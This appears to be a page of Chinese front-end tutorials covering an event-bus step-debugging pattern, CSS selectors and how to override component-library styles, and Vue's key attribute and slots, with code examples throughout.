在 外部组件 中,当用户点击 “运行” 按钮时,发送 logic:step:continue 事件,触发继续逻辑

运行按钮

const handleRunNode = () => {
  if (stepState.value.status !== 'ready') return;
  // 发送“继续”事件,通知 LogicManager 解除暂停
  eventBus.emit('logic:step:continue');
  // 更新节点状态为“执行中”
  stepState.value.status = 'running';
}
  1. 第一个节点暂停: 执行第一个非开始 / 结束节点前,调用 _createWaitPromise 阻塞,同时通知 UI 显示 “运行” 按钮。
  2. 用户触发继续:用户点击 “运行” 按钮,发送 logic:step:continue 事件, 调用 _waitResolve 解除阻塞,执行当前节点。
  3. 递归下一个节点:当前节点执行完后,_recursiveRun 递归处理下一个节点,重复 “暂停 - 继续” 循环,直到流程结束。
// 1. 执行节点A,触发暂停
async _recursiveRun(节点A, ...) {
  if (this.isStepMode) {
    // 调用 _createWaitPromise,_waitResolve 被赋值为 节点A的resolve
    await this._createWaitPromise(); 
    // 此时 _waitResolve = 节点A的resolve(非null,处于暂停)
  }
}

// 2. 用户点击“继续”,触发事件
eventBus.on('logic:step:continue', () => {
  if (this._waitResolve) { 
    this._waitResolve(); // 调用节点A的resolve,释放暂停
    this._waitResolve = null; // 重置为null,节点A的释放完成
  }
});

注意:

只在 _initEvent 中注册一次,但能实现多次触发响应,核心原因是 事件监听的 “注册一次,永久生效” 特性:一旦注册,事件总线会持续监听该事件,每次外部触发 logic:step:continue 时,都会执行回调函数,与注册次数无关。

eventBus 是一个基于 “订阅 - 发布” 模式的事件系统,eventBus.on('logic:step:continue', 回调) 表示 “订阅 logic:step:continue 事件”。

  • 订阅操作(on)只需执行一次,即可长期生效:事件总线会将回调函数存入内部的事件列表中。
  • 后续每次通过 eventBus.emit('logic:step:continue') 发布事件时,事件总线都会从列表中找到对应的回调函数并执行。
() => {
  if (this._waitResolve) {
    this._waitResolve() // 释放当前暂停
    this._waitResolve = null // 重置
  }
}

每次触发时,它会检查当前实例的 _waitResolve 状态:

  • 若处于暂停状态(_waitResolve 有值),则执行释放逻辑;
  • 释放后立即重置 _waitResolve 为 null,不影响下一次暂停。这种 “基于实例当前状态动态执行” 的特性,让单次注册的回调能适配多次暂停 - 继续的循环。

只要实例存在,eventBus 中注册的监听就不会失效。在单步调试流程中:

  • 第一个节点暂停时,触发 emit,回调执行释放;
  • 第二个节点暂停时,再次触发 emit,回调再次执行释放;
  • 直到流程结束,实例被销毁前,监听始终有效。

CSS 选择器全解析:从基础语法到组件库样式修改,解决前端样式定位难题

前言:被 CSS 选择器 “卡壳” 的日常

“写了.btn-active样式,为什么按钮没反应?”

#nav .list li.nav-list li到底谁能生效?”

“想改组件库的输入框样式,加了类却被覆盖?”

“用[class=btn]匹配按钮,多了个类名就失效了?”

CSS 选择器是前端样式的 “定位工具”,但很多开发者停留在 “会用类和 ID” 的初级阶段,面对动态元素、组件库样式修改等场景时,要么写出冗余代码,要么陷入 “样式冲突” 的死循环。本文从 “基础语法→属性选择器深度解读→组件库样式修改实战” 三个维度,结合真实业务场景,帮你彻底掌握选择器的使用逻辑,从此告别 “样式调不通” 的烦恼。

一、CSS 选择器基础:构建样式的 “基石”

基础选择器是前端样式的核心,覆盖 80% 的简单场景。重点不在于 “记住语法”,而在于 “理解定位逻辑与适用场景”,避免滥用导致的样式混乱。

1.1 基础选择器分类与实战

按 “定位维度”,基础选择器可分为 “元素定位”“关系定位” 两类,下表整理了高频用法与场景:

选择器类型 语法示例 作用 适用场景 权重(优先级)
元素选择器 div p input 匹配所有指定标签的元素 全局统一标签样式(如 body 字体) 1
ID 选择器 #header #login-form 匹配唯一 ID 的元素 页面唯一模块(如顶部导航) 100
类选择器 .btn .card 匹配所有同类名元素 复用样式(按钮、卡片) 10
后代选择器 .nav li #main .text 匹配祖先元素下的所有后代 嵌套元素(导航列表项) 父选择器权重之和
子代选择器 .nav > li 匹配父元素的直接子元素 仅控制一级子元素(避免深层影响) 父选择器权重之和
相邻兄弟选择器 .item + .item 匹配目标元素的下一个兄弟 兄弟元素分隔线(如列表项间距) 基础权重之和
伪类选择器(基础) :hover :active 匹配元素状态 交互效果(按钮 hover 变色) 10(类级权重)

1.2 基础选择器核心误区

误区 1:滥用 ID 选择器

ID 选择器权重极高(100),一旦使用,后续很难用类覆盖样式。例如:

/* 错误:用ID定义通用按钮样式,后续无法用类修改 */

#submit-btn {

     background: #409eff;

}

/* 即使加了类,权重不够也无法生效 */

#submit-btn.disabled {

     background: #ccc; /* 权重100+10=110,可生效,但不如一开始用类灵活 */

}

/* 正确:用类选择器,后续可灵活扩展 */

.btn {

     background: #409eff;

}

.btn.disabled {

     background: #ccc; /* 权重10+10=20,轻松覆盖基础样式 */

}

误区 2:混淆 “子代” 与 “后代” 选择器

子代选择器(>)只匹配直接子元素,后代选择器(空格)匹配所有后代,例如:

<ul class="nav">

     <li>首页 <!-- 子代选择器匹配这里 -->

       <ul>

         <li>首页子菜单</li> <!-- 后代选择器匹配,子代选择器不匹配 -->

       </ul>

     </li>

</ul>
/* 子代选择器:仅匹配.nav的直接子li(首页) */

.nav > li {

     font-weight: bold;

}

/* 后代选择器:匹配.nav下所有li(首页+首页子菜单) */

.nav li {

     color: #333;

}

二、属性选择器深度解读:动态元素的 “定位神器”

属性选择器是 CSS 中最灵活的选择器之一,它通过 “元素属性名 / 属性值” 定位,无需依赖类名或 ID,尤其适合动态生成的元素(如循环渲染的表单、带自定义data-*属性的组件)。很多开发者仅会用基础的 “精确匹配”,却忽略了它的高级能力。

2.1 6 种核心匹配模式(附场景对比)

属性选择器按 “匹配精度” 可分为 6 类,覆盖从 “模糊匹配” 到 “精确匹配” 的全场景:

匹配模式 语法示例 作用 适用场景 权重
存在匹配 [attr] 匹配包含指定属性的元素 所有带data-*的元素 10
精确匹配 [attr=value] 匹配属性值完全等于 value 的元素 精准定位表单控件(如type="text" 10
包含匹配 [attr*=value] 匹配属性值包含 value 的元素 类名含特定关键词(如class*=btn- 10
前缀匹配 [attr^=value] 匹配属性值以 value 开头的元素 data-type前缀筛选(如data-type^=user- 10
后缀匹配 [attr$=value] 匹配属性值以 value 结尾的元素 按文件格式筛选(如src$=.svg 10
完整类名匹配 [attr~=value] 匹配属性值含 value 且用空格分隔的元素 多类名中精准匹配某一类(如class~=active 10

2.2 实战场景:解决真实业务痛点

场景 1:动态表单控件定位(无需手动加类)

痛点:循环渲染的表单(如 Vue 的v-for、React 的map)无法提前定义类名,难以区分不同类型的输入框。

解决方案:用属性选择器按nametype定位:

<!-- 动态生成的表单(无法提前加类) -->

<form class="user-form">

     <input type="text" name="username" placeholder="用户名">

     <input type="password" name="password" placeholder="密码">

     <input type="email" name="email" placeholder="邮箱">

     <input type="tel" name="phone" placeholder="手机号">

</form>
/* 1. 匹配所有带name属性的输入框(存在匹配) */

.user-form input[name] {

     width: 100%;

     padding: 10px;

     margin: 8px 0;

     border: 1px solid #ddd;

     border-radius: 4px;

}

/* 2. 精准匹配密码框(精确匹配) */

.user-form input[type=password] {

     border-color: #e74c3c; /* 密码框红色边框警示 */

}

/* 3. 匹配邮箱和手机号(包含匹配:name含"e"或"phone") */

.user-form input[name*=e],

.user-form input[name*=phone] {

     background: #f8f9fa; /* 特殊背景色区分 */

}

场景 2:自定义data-*属性的状态控制

痛点:通过 JS 动态切换元素状态(如 “已选中”“待审核”),需同步修改样式,手动加类太繁琐。

解决方案:用属性选择器匹配data-status

<ul class="order-list">

     <li data-status="paid">订单1(已支付)</li>

     <li data-status="pending">订单2(待支付)</li>

     <li data-status="cancelled">订单3(已取消)</li>

</ul>
.order-list li {

     padding: 12px;

     margin: 6px 0;

     border-radius: 4px;

     border: 1px solid #eee;

}

/* 按data-status匹配不同状态 */

.order-list li[data-status=paid] {

     border-color: #2ecc71;

     color: #27ae60;

     background: #f8fff8;

}

.order-list li[data-status=pending] {

     border-color: #f39c12;

     color: #d35400;

     background: #fff9f2;

}

场景 3:图片格式分类样式(后缀匹配)

痛点:页面中有多种格式的图片(PNG、SVG、WEBP),需给不同格式加特殊样式(如 SVG 加边框)。

解决方案:用[src$=格式]后缀匹配:

<div class="image-gallery">

     <img src="logo.png" alt="PNG图标">

     <img src="banner.jpg" alt="JPG banner">

     <img src="icon.svg" alt="SVG图标">

     <img src="avatar.webp" alt="WEBP头像">

</div>
.image-gallery img {

     width: 180px;

     margin: 10px;

     border-radius: 8px;

}

/* SVG图片加蓝色边框 */

.image-gallery img[src$=svg] {

     border: 2px solid #3498db;

}

/* WEBP图片加阴影 */

.image-gallery img[src$=webp] {

     box-shadow: 0 0 10px rgba(0,0,0,0.1);

}

2.3 属性选择器避坑指南

坑点 1:属性值带特殊字符未加引号

问题:属性值含空格(如data-type="user info")或连字符(如data-user-id),未加引号导致选择器失效。

原因:CSS 语法中,属性值含特殊字符时,需用单引号或双引号包裹。

解决方案

/* 错误:属性值含空格,未加引号,选择器无效 */

[data-type=user info] { color: red; }

/* 正确:用引号包裹属性值 */

[data-type="user info"] { color: red; }

[data-user-id='123'] { font-weight: bold; } /* 连字符建议加引号,更规范 */

坑点 2:混淆 “包含匹配” 与 “完整类名匹配”

问题:用[class*=active]匹配class="btn-active-danger"的元素,结果误匹配了不需要的元素。

原因[class*=active]是 “包含匹配”,只要类名含 “active” 就生效;若需精准匹配 “独立的 active 类”,需用[class~=active]

解决方案

<button class="btn active">正常激活按钮</button>

<button class="btn-active-danger">危险按钮(含active关键词)</button>
/* 错误:包含匹配,会误匹配btn-active-danger */

[class*=active] { background: #3498db; }

/* 正确:完整类名匹配,仅匹配含独立active类的元素 */

[class~=active] { background: #3498db; }

三、外部修改组件库样式:突破 Scoped 隔离的 4 种正确方式

使用 Element UI、Ant Design Vue 等组件库时,最头疼的莫过于 “样式改不动”——Scoped 隔离、高权重选择器会阻止外部样式生效。以下 4 种方式经过实战验证,兼顾 “样式生效” 与 “避免全局污染”。

3.1 核心痛点:为什么组件库样式难修改?

  1. Scoped 隔离:Vue/React 的scoped属性会给样式加唯一属性(如data-v-123),外部样式无法穿透到组件内部;

  2. 高权重选择器:组件库常用 “类 + 元素” 选择器(如.el-btn span),外部简单类选择器(如.my-btn)权重不够;

  3. 样式覆盖冲突:直接写全局样式会污染其他组件,导致意外样式变更。

3.2 4 种实战方案(附代码示例)

以 “修改 Element UI 按钮样式” 为例,演示不同场景的解决方案。

方案 1:深度选择器(穿透 Scoped,推荐局部修改)

适用场景:仅在当前组件内修改组件库样式,不影响全局。

原理:通过::v-deep(Vue2)、:deep()(Vue3)穿透 Scoped 的属性隔离,让外部样式作用于组件内部元素。

Vue3 实战示例

<template>

     <div class="custom-btn-group">

       <!-- Element UI按钮 -->

       <el-button type="primary">自定义主按钮</el-button>

     </div>

</template>

<style scoped>

/* 关键:.custom-btn-group父容器 + :deep()穿透 */

.custom-btn-group :deep(.el-button--primary) {

     background: #3498db; /* 覆盖默认蓝色 */

     border-radius: 8px; /* 圆角 */

     padding: 8px 24px; /* 调整内边距 */

}

/* 穿透修改hover状态 */

.custom-btn-group :deep(.el-button--primary:hover) {

     background: #2980b9; /* 加深hover色 */

}

</style>

Vue2 实战示例(用/deep/):

<style scoped>

.custom-btn-group /deep/ .el-button--primary {

     background: #3498db;

}

</style>

避坑点:必须加 “父容器选择器”(如.custom-btn-group),避免直接写:deep(.el-btn)—— 否则会污染所有 Element UI 按钮。

方案 2:全局样式 + 精准父容器(适合批量修改)

适用场景:多个组件需要统一修改某类组件样式(如所有页面的按钮、输入框)。

原理:在非 Scoped 样式文件(如global.css)中,用 “父容器 + 组件库选择器” 精准定位,避免全局污染。

实战示例

/* global.css(无scoped) */

/* 仅修改.app-main容器内的Element UI按钮 */

.app-main .el-button--primary {

     font-size: 16px;

     border: none;

     box-shadow: 0 2px 8px rgba(52, 152, 219, 0.3);

}

/* 仅修改.form-container内的输入框 */

.form-container .el-input__inner {

     height: 42px;

     border-color: #ddd;

}

关键原则:父容器必须是 “业务相关的唯一容器”(如页面根容器.app-main、表单容器.form-container),不能用bodyhtml作为父容器。

方案 3:CSS 变量覆盖(组件库支持时优先用)

适用场景:组件库提供 CSS 变量(如 Element Plus、Ant Design Vue),修改变量即可批量变更样式,无需写复杂选择器。

原理:组件库将核心样式(颜色、字体、间距)定义为 CSS 变量,外部只需重定义这些变量,即可 “一键换肤”。

Element Plus 实战示例

<template>

     <div class="variable-btn-group">

       <el-button type="primary">变量修改按钮</el-button>

     </div>

</template>

<style scoped>

/* 局部重定义Element Plus变量(仅作用于.variable-btn-group内) */

.variable-btn-group {

     --el-color-primary: #e74c3c; /* 主色改为红色 */

     --el-color-primary-light-3: #f19990; /* 主色浅3度 */

     --el-border-radius-base: 8px; /* 基础圆角 */

}

/* 全局重定义(作用于整个项目,需写在无scoped的样式中) */

/* :root {

     --el-color-primary: #2ecc71;    

} */

</style>

优势:无需关心组件内部结构,避免因组件更新导致选择器失效;支持局部 / 全局修改,灵活性高。

方案 4:主题配置编译(全局定制化)

适用场景:项目初始化阶段,需要全局统一组件库风格(如企业定制主题色、字体)。

原理:通过组件库提供的主题工具(如 Element UI 的theme-chalk),修改变量后重新编译样式,生成自定义主题包。

Element UI 主题定制步骤

  1. 安装主题工具:
npm install element-theme -g

npm install element-theme-chalk -D
  1. 生成变量配置文件:
et -i element-variables.scss # 生成可修改的变量文件
  1. 修改element-variables.scss中的核心变量:
// 原变量:$--color-primary: #409eff !default;

$--color-primary: #3498db !default; // 自定义主色

$--font-size-base: 14px !default; // 基础字体大小

$--border-radius-base: 6px !default; // 基础圆角

$--button-padding-horizontal: 12px 24px !default; // 按钮内边距
  1. 编译自定义主题:
et # 生成dist目录,包含定制后的样式
  1. 在项目中引入自定义主题(替换默认样式):
// main.js

import './dist/index.css'; // 引入定制主题

import ElementUI from 'element-ui';

Vue.use(ElementUI);

优势:从根源修改样式,权重最高、无冲突,适合大型项目的全局主题定制。

3.3 组件库样式修改避坑原则

  1. 优先用变量覆盖:组件库支持 CSS 变量时,优先修改变量,而非写复杂选择器(减少维护成本);

  2. 拒绝全局!important:不要用.el-btn { background: red !important; }—— 高权重会导致后续无法覆盖,且污染全局;

  3. 用 DevTools 查结构:通过浏览器 F12 查看组件库的 DOM 结构(如.el-btn的内部元素),避免 “猜选择器”;

  4. 集中管理修改:将组件库样式修改放在单独文件(如component-theme.css),便于后续维护。

四、CSS 选择器权重:解决 “样式不生效” 的核心

很多开发者遇到 “样式不生效”,本质是 “权重不够” 或 “权重冲突”。理解权重计算规则,能从根源避免这类问题。

4.1 权重计算规则(4 级分级)

CSS 选择器的权重按 “优先级从高到低” 分为 4 级,用(a, b, c, d)表示:

  • a(内联样式):元素的style属性(如<div style="color: red">),a=1;

  • b(ID 选择器):每个 ID 计 1 分(如#header),b 累加;

  • c(类 / 伪类 / 属性选择器):每个类、伪类、属性选择器计 1 分(如.btn:hover[type=text]),c 累加;

  • d(元素 / 伪元素选择器):每个元素、伪元素计 1 分(如div::before),d 累加。

对比逻辑:先比 a,a 大的权重高;a 相等比 b,b 相等比 c,以此类推。

4.2 权重实战示例

选择器语法 权重计算(a,b,c,d) 生效优先级
div (0,0,0,1) 最低
.btn (0,0,1,0) 高于元素选择器
.btn.active (0,0,2,0) 高于单个类
#header .btn (0,1,1,0) 高于双类选择器
div#header .btn.active (0,1,2,1) 更高
<div style="color: red"> (1,0,0,0) 高于 ID 选择器

五、总结:CSS 选择器的使用原则与未来趋势

5.1 核心使用原则

  1. 优先类选择器:类选择器权重适中(10),便于复用和覆盖,避免滥用 ID;

  2. 减少选择器嵌套:嵌套不超过 3 层(如.nav .list .item),简化结构,提升渲染性能;

  3. 善用属性选择器:动态元素、表单控件优先用属性选择器,减少冗余类名;

  4. 组件库样式修改:按需选择方案:局部修改用深度选择器,批量修改用全局 + 父容器,全局定制用主题编译。

5.2 未来趋势:CSS4 选择器

CSS4 新增了多个实用选择器,虽未完全兼容所有浏览器,但值得关注:

  • :is(selector):简化多选择器写法,如:is(.header, .footer) p 替代.header p, .footer p

  • :where(selector):与:is()语法相同,但权重为 0,便于后续覆盖;

  • :has(selector):根据子元素选择父元素(如div:has(p) 选中包含pdiv),目前 Chrome 已支持。

附录:CSS 选择器速查表

选择器类型 语法示例 关键场景 权重
元素选择器 div input 全局标签样式 1
ID 选择器 #header 页面唯一模块 100
类选择器 .btn 复用样式 10
后代选择器 .nav li 嵌套元素 父权重之和
子代选择器 .nav > li 直接子元素 父权重之和
属性选择器(存在) [data-id] 带自定义属性的元素 10
属性选择器(精确) [type=text] 精准表单控件 10
伪类选择器 :hover :nth-child(2) 元素状态 / 位置 10
深度选择器(Vue3) :deep(.el-btn) 组件库局部样式修改 父权重之和

总而言之,一键点赞、评论、喜欢收藏吧!这对我很重要!

vue中,key的原理

Vue 中 key属性的原理核心在于,它作为虚拟 DOM 节点的唯一标识,帮助 Vue 的 Diff 算法在更新时高效、准确地匹配新旧节点,从而决定是复用现有 DOM 还是创建新节点。下面这张图清晰地展示了 Vue 在列表更新时,Diff 算法如何处理新旧虚拟 DOM 树,并凸显了 key在其中起到的关键匹配作用:

image.png

flowchart TD
    A[数据变化,生成新虚拟DOM树] --> B{Diff算法比较}
    B --> C[遍历新旧子节点列表]
    C --> D{Key匹配成功?}
    
    D -- 是 --> E[进一步对比节点内容]
    E --> F{内容是否变化?}
    F -- 是 --> G[更新现有DOM节点内容]
    F -- 否 --> H[直接复用真实DOM]
    
    D -- 否 --> I[创建新真实DOM节点]
    
    G --> J[更新界面]
    H --> J
    I --> J

下面我们来详细解读 key的工作原理、注意事项和最佳实践。

🔧 核心原理:key如何辅助 Diff 算法

Vue 的渲染是基于虚拟 DOM 的。当数据变化时,Vue 会生成一个新的虚拟 DOM 树,并将其与旧的虚拟 DOM 树进行比较(这个过程就是 Diff),找出最小差异,然后批量更新真实 DOM,以此提升性能。 key在这个 Diff 过程中扮演着关键匹配标识的角色。对于列表渲染(v-for),Vue 的 Diff 算法采用了一种高效的同级比较策略。key的作用机制可以概括为:

  1. 精准匹配:当比较新旧子节点列表时,Vue 会优先检查节点的 key是否相同。如果找到 key相同的节点,则认为它们是同一个节点
  2. 判断复用或更新:对于 key匹配的节点,Vue 会进一步比较这两个节点的其他属性(如 tagdata等)。如果节点内容(如文本、属性)没有变化,则直接复用之前的真实 DOM 元素;如果内容发生了变化,则更新真实 DOM 节点的相应部分。这避免了完全推倒重来的开销。
  3. 处理新增与删除:如果在新列表中发现某个 key在旧列表中不存在,Vue 会新建真实的 DOM 节点。反之,如果旧列表中的某个 key在新列表中找不到,则会销毁并移除对应的真实 DOM 节点。

正是通过 key的精准匹配,Vue 能够最大限度地复用 DOM 元素,将算法复杂度从 O(n³) 优化到接近 O(n),显著减少了不必要的 DOM 操作,提升了性能。

⚠️ 不当使用 key的风险与误区

错误地使用 key不仅无法提升性能,还可能引发问题。

1. 使用 index作为 key的隐患

在很多初学者示例中,会使用循环的索引 index作为 key。这在静态列表(列表项仅用于展示,且顺序不会改变)中可能不会立即表现出问题。然而,一旦列表发生动态变化,如逆序添加、逆序删除或在中间位置插入/删除项index就会变得不稳定。

  • 效率低下:因为 index的变化会导致大部分节点的 key都发生变化,Vue 会误判为节点身份改变,从而触发大面积的 DOM 更新或重新创建,而非高效的复用。
  • 状态错乱(严重问题):如果列表项包含带有状态的表单元素(如输入框),使用 index作为 key会导致界面显示错乱。例如,删除第一项后,原来的第二项变成了第一项,其 key从 1 变为 0。Vue 在匹配 key时可能会错误地复用之前第一项的 DOM 节点,导致输入框的内容与数据绑定错位。

2. 不提供 key的默认行为

如果不显式设置 :key,Vue 会默认采用一种“就地复用”的策略,其行为类似于使用 index作为 key,因此会面临上述同样的问题。

💡 最佳实践与使用场景

  1. 首选唯一标识:理想情况下,key应该是数据项本身的一个唯一且稳定的标识符,例如数据对象的 id、身份证号、手机号等。
  2. 强制重新渲染的妙用key并不局限于 v-for。通过改变组件的 key值,可以强制 Vue 完全重新渲染该组件。这在需要组件内部状态完全重置时非常有用,例如在表单重置或切换用户身份后。

希望这份详细的解释能帮助你透彻地理解 Vue 中 key的原理和作用!

说说你对slot的理解?slot使用场景有哪些?

在 Vue.js 中,slot(插槽) 是一种强大的组件间内容分发机制,它允许父组件向子组件传递自定义内容(包括 HTML 结构、文本甚至其他组件),从而极大地增强了组件的灵活性和可复用性。 下面这个表格可以帮助你快速把握 slot 的核心分类与特点:

插槽类型 核心功能 语法关键词 适用场景
默认插槽 为组件定义一个主要的内容注入点 <slot> 组件只有一个可定制区域时
具名插槽 为组件定义多个有特定位置的内容注入点 name属性, v-slot:name 组件布局复杂,需要多处定制(如头部、主体、尾部)
作用域插槽 子组件向父组件传递数据,父组件决定如何渲染 v-slot="slotProps" 组件的 UI 样式需自定义,但数据逻辑由子组件管理

💡 核心价值与使用场景

slot 的存在主要是为了解决组件封装中的灵活性问题。它的核心价值体现在:

  1. 提升组件复用性:通过 slot,你可以创建出高内聚、低耦合的通用组件。组件的“骨架”和“内容”分离,使得同一个组件可以在不同场景下通过注入不同的内容来满足需求,无需为了细微差别而创建多个相似组件。
  2. 实现内容定制:当父组件需要在子组件内部插入特定内容时,slot 提供了标准的“接口”。这在构建布局组件(如卡片、模态框、标签页)、数据展示组件(如表格行、列表项)时尤为有用。
  3. 分离关注点:slot 使得子组件可以专注于自身的布局和数据结构,而将具体的UI 表现权交给父组件,尤其通过作用域插槽,实现了数据逻辑和UI渲染的解耦。

🛠️ 三种 Slot 详解与代码示例

1. 默认插槽 (Default Slot)

这是最基础的插槽,充当子组件的内容占位符。如果父组件提供了内容,就会替换掉 <slot>标签;如果没有提供,则显示 <slot>标签内的默认内容。

  • 子组件定义 (ChildComponent.vue):

    <template>
      <div class="card">
        <div class="card-header">通用卡片头</div>
        <!-- 默认插槽,这里是内容区域 -->
        <slot>
          <p>这是后备默认内容,如果父组件不传内容,就会显示这个。</p>
        </slot>
      </div>
    </template>
    
  • 父组件使用:

    <template>
      <ChildComponent>
        <!-- 注入自定义内容到默认插槽 -->
        <h3>我是父组件传过来的标题</h3>
        <p>这里是父组件定义的卡片正文内容。</p>
      </ChildComponent>
    </template>
    

2. 具名插槽 (Named Slots)

当一个组件需要多个插槽时,使用具名插槽来区分。通过 name属性给插槽命名,父组件使用 v-slot:name#name来定向分发内容。

  • 子组件定义 (LayoutComponent.vue):

    <template>
      <div class="container">
        <header>
          <slot name="header"></slot>
        </header>
        <main>
          <slot></slot> <!-- 不写 name 的即是默认插槽 -->
        </main>
        <footer>
          <slot name="footer"></slot>
        </footer>
      </div>
    </template>
    
  • 父组件使用:

    <template>
      <LayoutComponent>
        <template #header> <!-- 或 v-slot:header -->
          <h1>这是页眉</h1>
        </template>
    
        <p>这段内容会自动放入默认插槽。</p>
    
        <template #footer>
          <p>这是页脚信息</p>
        </template>
      </LayoutComponent>
    </template>
    

3. 作用域插槽 (Scoped Slots)

这是最强大的插槽类型。它允许子组件将数据传递给父组件,父组件可以利用这些数据来灵活定义渲染逻辑。这常用于循环渲染或数据展示组件,如表格、列表。

  • 子组件定义 (TodoList.vue):

    <template>
      <ul>
        <li v-for="todo in todos" :key="todo.id">
          <!-- 将 `todo` 数据作为插槽的 prop 传递出去 -->
          <slot :todo-item="todo">
            <!-- 默认渲染方式 -->
            {{ todo.text }}
          </slot>
        </li>
      </ul>
    </template>
    
    <script>
    export default {
      data() {
        return {
          todos: [
            { id: 1, text: '学习 Vue', isCompleted: true },
            { id: 2, text: '理解 Slot', isCompleted: false }
          ]
        }
      }
    }
    </script>
    
  • 父组件使用:

    <template>
      <TodoList>
        <!-- 通过 `v-slot` 接收子组件传递的数据 -->
        <template v-slot:default="slotProps">
          <!-- slotProps 是一个对象,包含了子组件传递的所有 prop -->
          <span :style="{ textDecoration: slotProps.todoItem.isCompleted ? 'line-through' : 'none' }">
            {{ slotProps.todoItem.text }}
          </span>
        </template>
      </TodoList>
    </template>
    

    在这个例子中,父组件根据子组件传来的 todo-item数据,决定是否给待办项添加删除线,实现了UI 渲染的完全自定义

⚠️ 注意事项与最佳实践

  1. 缩写语法v-slot:可以缩写为 #,例如 #header。但注意,#default不能简写为 #
  2. 默认内容:始终在 <slot>标签内提供有意义的默认内容,这能提升组件的健壮性。
  3. 作用域:父模板里的所有内容都是在父级作用域中编译的;子模板里的所有内容都是在子级作用域中编译的。作用域插槽是唯一一个例外。
  4. 动态插槽名:Vue 2.6.0+ 支持使用动态指令参数定义动态插槽名,例如 v-slot:[dynamicSlotName]

希望这份详细的解释能帮助你全面理解 Vue 中的 slot 机制!

❌